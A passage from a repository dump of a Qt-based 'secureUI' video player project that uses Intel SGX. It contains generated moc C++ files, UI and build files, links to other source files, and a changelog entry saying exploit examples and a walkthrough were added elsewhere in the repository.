int(*)>(_a[1])),(*reinterpret_cast< int(*)>(_a[2]))); break; 72 | default: ; 73 | } 74 | } 75 | } 76 | 77 | const QMetaObject EPGDialog::staticMetaObject = { 78 | { &QDialog::staticMetaObject, qt_meta_stringdata_EPGDialog.data, 79 | qt_meta_data_EPGDialog, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} 80 | }; 81 | 82 | 83 | const QMetaObject *EPGDialog::metaObject() const 84 | { 85 | return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; 86 | } 87 | 88 | void *EPGDialog::qt_metacast(const char *_clname) 89 | { 90 | if (!_clname) return Q_NULLPTR; 91 | if (!strcmp(_clname, qt_meta_stringdata_EPGDialog.stringdata0)) 92 | return static_cast(const_cast< EPGDialog*>(this)); 93 | return QDialog::qt_metacast(_clname); 94 | } 95 | 96 | int EPGDialog::qt_metacall(QMetaObject::Call _c, int _id, void **_a) 97 | { 98 | _id = QDialog::qt_metacall(_c, _id, _a); 99 | if (_id < 0) 100 | return _id; 101 | if (_c == QMetaObject::InvokeMetaMethod) { 102 | if (_id < 1) 103 | qt_static_metacall(this, _c, _id, _a); 104 | _id -= 1; 105 | } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { 106 | if (_id < 1) 107 | *reinterpret_cast(_a[0]) = -1; 108 | _id -= 1; 109 | } 110 | return _id; 111 | } 112 | QT_WARNING_POP 113 | QT_END_MOC_NAMESPACE 114 | -------------------------------------------------------------------------------- /secureUI/Simulation/moc_mainwindow.cpp: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | ** Meta object code from reading C++ file 'mainwindow.h' 3 | ** 4 | ** Created by: The Qt Meta Object Compiler version 67 (Qt 5.8.0) 5 | ** 6 | ** WARNING! All changes made in this file will be lost! 7 | *****************************************************************************/ 8 | 9 | #include "../mainwindow.h" 10 | #include 11 | #include 12 | #if !defined(Q_MOC_OUTPUT_REVISION) 13 | #error "The header file 'mainwindow.h' doesn't include ." 14 | #elif Q_MOC_OUTPUT_REVISION != 67 15 | #error "This file was generated using the moc from 5.8.0. It" 16 | #error "cannot be used with the include files from this version of Qt." 17 | #error "(The moc has changed too much.)" 18 | #endif 19 | 20 | QT_BEGIN_MOC_NAMESPACE 21 | QT_WARNING_PUSH 22 | QT_WARNING_DISABLE_DEPRECATED 23 | struct qt_meta_stringdata_MainWindow_t { 24 | QByteArrayData data[9]; 25 | char stringdata0[200]; 26 | }; 27 | #define QT_MOC_LITERAL(idx, ofs, len) \ 28 | Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ 29 | qptrdiff(offsetof(qt_meta_stringdata_MainWindow_t, stringdata0) + ofs \ 30 | - idx * sizeof(QByteArrayData)) \ 31 | ) 32 | static const qt_meta_stringdata_MainWindow_t qt_meta_stringdata_MainWindow = { 33 | { 34 | QT_MOC_LITERAL(0, 0, 10), // "MainWindow" 35 | QT_MOC_LITERAL(1, 11, 23), // "on_actionOpen_triggered" 36 | QT_MOC_LITERAL(2, 35, 0), // "" 37 | QT_MOC_LITERAL(3, 36, 23), // "on_actionPlay_triggered" 38 | QT_MOC_LITERAL(4, 60, 24), // "on_actionPause_triggered" 39 | QT_MOC_LITERAL(5, 85, 23), // "on_actionStop_triggered" 40 | QT_MOC_LITERAL(6, 109, 28), // "on_actionManageEPG_triggered" 41 | QT_MOC_LITERAL(7, 138, 36), // "on_actionClean_the_library_tr..." 42 | QT_MOC_LITERAL(8, 175, 24) // "on_actionSetup_triggered" 43 | 44 | }, 45 | "MainWindow\0on_actionOpen_triggered\0\0" 46 | "on_actionPlay_triggered\0" 47 | "on_actionPause_triggered\0" 48 | "on_actionStop_triggered\0" 49 | "on_actionManageEPG_triggered\0" 50 | "on_actionClean_the_library_triggered\0" 51 | "on_actionSetup_triggered" 52 | }; 53 | #undef QT_MOC_LITERAL 54 | 55 | static const uint qt_meta_data_MainWindow[] = { 56 | 57 | // content: 58 | 7, // revision 59 | 0, // classname 60 | 0, 0, // classinfo 61 | 7, 14, // methods 62 | 0, 0, // properties 63 | 0, 0, // enums/sets 64 | 0, 0, // constructors 65 | 0, // flags 66 | 0, // signalCount 67 | 68 | // slots: name, argc, parameters, tag, flags 69 | 1, 0, 49, 2, 0x08 /* Private */, 70 | 3, 0, 50, 2, 0x08 /* Private */, 71 | 4, 0, 51, 2, 0x08 /* Private */, 72 | 5, 0, 52, 2, 0x08 /* Private */, 73 | 6, 0, 53, 2, 0x08 /* Private */, 74 | 7, 0, 54, 2, 0x08 /* Private */, 75 | 8, 0, 55, 2, 0x08 /* Private */, 76 | 77 | // slots: parameters 78 | QMetaType::Void, 79 | QMetaType::Void, 80 | QMetaType::Void, 81 | QMetaType::Void, 82 | QMetaType::Void, 83 | QMetaType::Void, 84 | QMetaType::Void, 85 | 86 | 0 // eod 87 | }; 88 | 89 | void MainWindow::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) 90 | { 91 | if (_c == QMetaObject::InvokeMetaMethod) { 92 | MainWindow *_t = static_cast(_o); 93 | Q_UNUSED(_t) 94 | switch (_id) { 95 | case 0: _t->on_actionOpen_triggered(); break; 96 | case 1: _t->on_actionPlay_triggered(); break; 97 | case 2: _t->on_actionPause_triggered(); break; 98 | case 3: _t->on_actionStop_triggered(); break; 99 | case 4: _t->on_actionManageEPG_triggered(); break; 100 | case 5: _t->on_actionClean_the_library_triggered(); break; 101 | case 6: _t->on_actionSetup_triggered(); break; 102 | default: ; 103 | } 104 | } 105 | Q_UNUSED(_a); 106 | } 107 | 108 | const QMetaObject MainWindow::staticMetaObject = { 109 | { &QMainWindow::staticMetaObject, qt_meta_stringdata_MainWindow.data, 110 | qt_meta_data_MainWindow, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} 111 | }; 112 | 113 | 114 | const QMetaObject *MainWindow::metaObject() const 115 | { 116 | return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; 117 | } 118 | 119 | void *MainWindow::qt_metacast(const char *_clname) 120 | { 121 | if (!_clname) return Q_NULLPTR; 122 | if (!strcmp(_clname, qt_meta_stringdata_MainWindow.stringdata0)) 123 | return static_cast(const_cast< MainWindow*>(this)); 124 | return QMainWindow::qt_metacast(_clname); 125 | } 126 | 127 | int MainWindow::qt_metacall(QMetaObject::Call _c, int _id, void **_a) 128 | { 129 | _id = QMainWindow::qt_metacall(_c, _id, _a); 130 | if (_id < 0) 131 | return _id; 132 | if (_c == QMetaObject::InvokeMetaMethod) { 133 | if (_id < 7) 134 | qt_static_metacall(this, _c, _id, _a); 135 | _id -= 7; 136 | } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { 137 | if (_id < 7) 138 | *reinterpret_cast(_a[0]) = -1; 139 | _id -= 7; 140 | } 141 | return _id; 142 | } 143 | QT_WARNING_POP 144 | QT_END_MOC_NAMESPACE 145 | -------------------------------------------------------------------------------- /secureUI/Simulation/moc_setupdialog.cpp: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | ** Meta object code from reading C++ file 'setupdialog.h' 3 | ** 4 | ** Created by: The Qt Meta Object Compiler version 67 (Qt 5.8.0) 5 | ** 6 | ** WARNING! All changes made in this file will be lost! 7 | *****************************************************************************/ 8 | 9 | #include "../setupdialog.h" 10 | #include 11 | #include 12 | #if !defined(Q_MOC_OUTPUT_REVISION) 13 | #error "The header file 'setupdialog.h' doesn't include ." 14 | #elif Q_MOC_OUTPUT_REVISION != 67 15 | #error "This file was generated using the moc from 5.8.0. It" 16 | #error "cannot be used with the include files from this version of Qt." 17 | #error "(The moc has changed too much.)" 18 | #endif 19 | 20 | QT_BEGIN_MOC_NAMESPACE 21 | QT_WARNING_PUSH 22 | QT_WARNING_DISABLE_DEPRECATED 23 | struct qt_meta_stringdata_SetupDialog_t { 24 | QByteArrayData data[5]; 25 | char stringdata0[59]; 26 | }; 27 | #define QT_MOC_LITERAL(idx, ofs, len) \ 28 | Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ 29 | qptrdiff(offsetof(qt_meta_stringdata_SetupDialog_t, stringdata0) + ofs \ 30 | - idx * sizeof(QByteArrayData)) \ 31 | ) 32 | static const qt_meta_stringdata_SetupDialog_t qt_meta_stringdata_SetupDialog = { 33 | { 34 | QT_MOC_LITERAL(0, 0, 11), // "SetupDialog" 35 | QT_MOC_LITERAL(1, 12, 15), // "applyCouponSlot" 36 | QT_MOC_LITERAL(2, 28, 0), // "" 37 | QT_MOC_LITERAL(3, 29, 12), // "testConnSlot" 38 | QT_MOC_LITERAL(4, 42, 16) // "chooseFolderSlot" 39 | 40 | }, 41 | "SetupDialog\0applyCouponSlot\0\0testConnSlot\0" 42 | "chooseFolderSlot" 43 | }; 44 | #undef QT_MOC_LITERAL 45 | 46 | static const uint qt_meta_data_SetupDialog[] = { 47 | 48 | // content: 49 | 7, // revision 50 | 0, // classname 51 | 0, 0, // classinfo 52 | 3, 14, // methods 53 | 0, 0, // properties 54 | 0, 0, // enums/sets 55 | 0, 0, // constructors 56 | 0, // flags 57 | 0, // signalCount 58 | 59 | // slots: name, argc, parameters, tag, flags 60 | 1, 0, 29, 2, 0x0a /* Public */, 61 | 3, 0, 30, 2, 0x0a /* Public */, 62 | 4, 0, 31, 2, 0x0a /* Public */, 63 | 64 | // slots: parameters 65 | QMetaType::Void, 66 | QMetaType::Void, 67 | QMetaType::Void, 68 | 69 | 0 // eod 70 | }; 71 | 72 | void SetupDialog::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) 73 | { 74 | if (_c == QMetaObject::InvokeMetaMethod) { 75 | SetupDialog *_t = static_cast(_o); 76 | Q_UNUSED(_t) 77 | switch (_id) { 78 | case 0: _t->applyCouponSlot(); break; 79 | case 1: _t->testConnSlot(); break; 80 | case 2: _t->chooseFolderSlot(); break; 81 | default: ; 82 | } 83 | } 84 | Q_UNUSED(_a); 85 | } 86 | 87 | const QMetaObject SetupDialog::staticMetaObject = { 88 | { &QDialog::staticMetaObject, qt_meta_stringdata_SetupDialog.data, 89 | qt_meta_data_SetupDialog, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} 90 | }; 91 | 92 | 93 | const QMetaObject *SetupDialog::metaObject() const 94 | { 95 | return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; 96 | } 97 | 98 | void *SetupDialog::qt_metacast(const char *_clname) 99 | { 100 | if (!_clname) return Q_NULLPTR; 101 | if (!strcmp(_clname, qt_meta_stringdata_SetupDialog.stringdata0)) 102 | return static_cast(const_cast< SetupDialog*>(this)); 103 | return QDialog::qt_metacast(_clname); 104 | } 105 | 106 | int SetupDialog::qt_metacall(QMetaObject::Call _c, int _id, void **_a) 107 | { 108 | _id = QDialog::qt_metacall(_c, _id, _a); 109 | if (_id < 0) 110 | return _id; 111 | if (_c == QMetaObject::InvokeMetaMethod) { 112 | if (_id < 3) 113 | qt_static_metacall(this, _c, _id, _a); 114 | _id -= 3; 115 | } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { 116 | if (_id < 3) 117 | *reinterpret_cast(_a[0]) = -1; 118 | _id -= 3; 119 | } 120 | return _id; 121 | } 122 | QT_WARNING_POP 123 | QT_END_MOC_NAMESPACE 124 | -------------------------------------------------------------------------------- /secureUI/encryptedfile.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/encryptedfile.cpp -------------------------------------------------------------------------------- /secureUI/encryptedfile.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/encryptedfile.h -------------------------------------------------------------------------------- /secureUI/epgdialog.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/epgdialog.cpp -------------------------------------------------------------------------------- /secureUI/epgdialog.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/epgdialog.h -------------------------------------------------------------------------------- /secureUI/icons/control_pause.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/icons/control_pause.png -------------------------------------------------------------------------------- /secureUI/icons/control_play.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/icons/control_play.png -------------------------------------------------------------------------------- /secureUI/icons/control_stop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/icons/control_stop.png -------------------------------------------------------------------------------- /secureUI/icons/folder_page_white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/icons/folder_page_white.png -------------------------------------------------------------------------------- /secureUI/main.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/main.cpp -------------------------------------------------------------------------------- /secureUI/mainwindow.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/mainwindow.cpp -------------------------------------------------------------------------------- /secureUI/mainwindow.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/mainwindow.h -------------------------------------------------------------------------------- /secureUI/mainwindow.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | MainWindow 4 | 5 | 6 | 7 | 0 8 | 0 9 | 400 10 | 300 11 | 12 | 13 | 14 | MainWindow 15 | 16 | 17 | 18 | 19 | 20 | 0 21 | 0 22 | 400 23 | 26 24 | 25 | 26 | 27 | 28 | File 29 | 30 | 31 | 32 | 33 | 34 | Video 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | Library 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | TopToolBarArea 55 | 56 | 57 | false 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | :/images/icons/folder_page_white.png:/images/icons/folder_page_white.png 70 | 71 | 72 | Open 73 | 74 | 75 | Open A File 76 | 77 | 78 | 79 | 80 | 81 | :/images/icons/control_play.png:/images/icons/control_play.png 82 | 83 | 84 | Play 85 | 86 | 87 | 88 | 89 | 90 | :/images/icons/control_pause.png:/images/icons/control_pause.png 91 | 92 | 93 | Pause 94 | 95 | 96 | 97 | 98 | 99 | :/images/icons/control_stop.png:/images/icons/control_stop.png 100 | 101 | 102 | Stop 103 | 104 | 105 | 106 | 107 | View EPG 108 | 109 | 110 | 111 | 112 | Update the library 113 | 114 | 115 | 116 | 117 | Connect and setup 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | -------------------------------------------------------------------------------- /secureUI/ocalls.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/ocalls.cpp -------------------------------------------------------------------------------- /secureUI/resources.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | icons/control_pause.png 4 | icons/control_play.png 5 | icons/control_stop.png 6 | icons/folder_page_white.png 7 | 8 | 9 | -------------------------------------------------------------------------------- /secureUI/setupdialog.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/setupdialog.cpp -------------------------------------------------------------------------------- /secureUI/setupdialog.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/setupdialog.h -------------------------------------------------------------------------------- /secureUI/sgxware.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/sgxware.cpp -------------------------------------------------------------------------------- /secureUI/sgxware.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureUI/sgxware.h -------------------------------------------------------------------------------- /secureUI/videogui.pro: -------------------------------------------------------------------------------- 1 | #------------------------------------------------- 2 | # 3 | # Project created by QtCreator 2015-06-12T19:03:55 4 | # 5 | #------------------------------------------------- 6 | 7 | QT += core gui multimedia multimediawidgets 8 | 9 | greaterThan(QT_MAJOR_VERSION, 4): QT += widgets 10 | 11 | TARGET = videogui 12 | TEMPLATE = app 13 | 14 | 15 | SOURCES += main.cpp\ 16 | mainwindow.cpp \ 17 | epgdialog.cpp \ 18 | setupdialog.cpp \ 19 | sgxware.cpp \ 20 | encryptedfile.cpp 21 | 22 | HEADERS += mainwindow.h \ 23 | epgdialog.h \ 24 | setupdialog.h \ 25 | sgxware.h \ 26 | encryptedfile.h 27 | 28 | FORMS += mainwindow.ui \ 29 | EPG.ui \ 30 | setup.ui 31 | 32 | RESOURCES += \ 33 | resources.qrc 34 | -------------------------------------------------------------------------------- /whats-new.md: -------------------------------------------------------------------------------- 1 | **Oct 9 2017:** 2 | 3 | * Finally pushing examples of exploits working on windows with a walkthrough document (DVSE walkthrough in the docs folder, both in md and doc format). 4 | * As all this repository this walkthrough document was written with very limited knowledge of English language, feel free to correct me 5 | * The walkthrough document is in very much preliminary state 6 | 7 | 8 | 9 | 10 | 11 | 12 | --------------------------------------------------------------------------------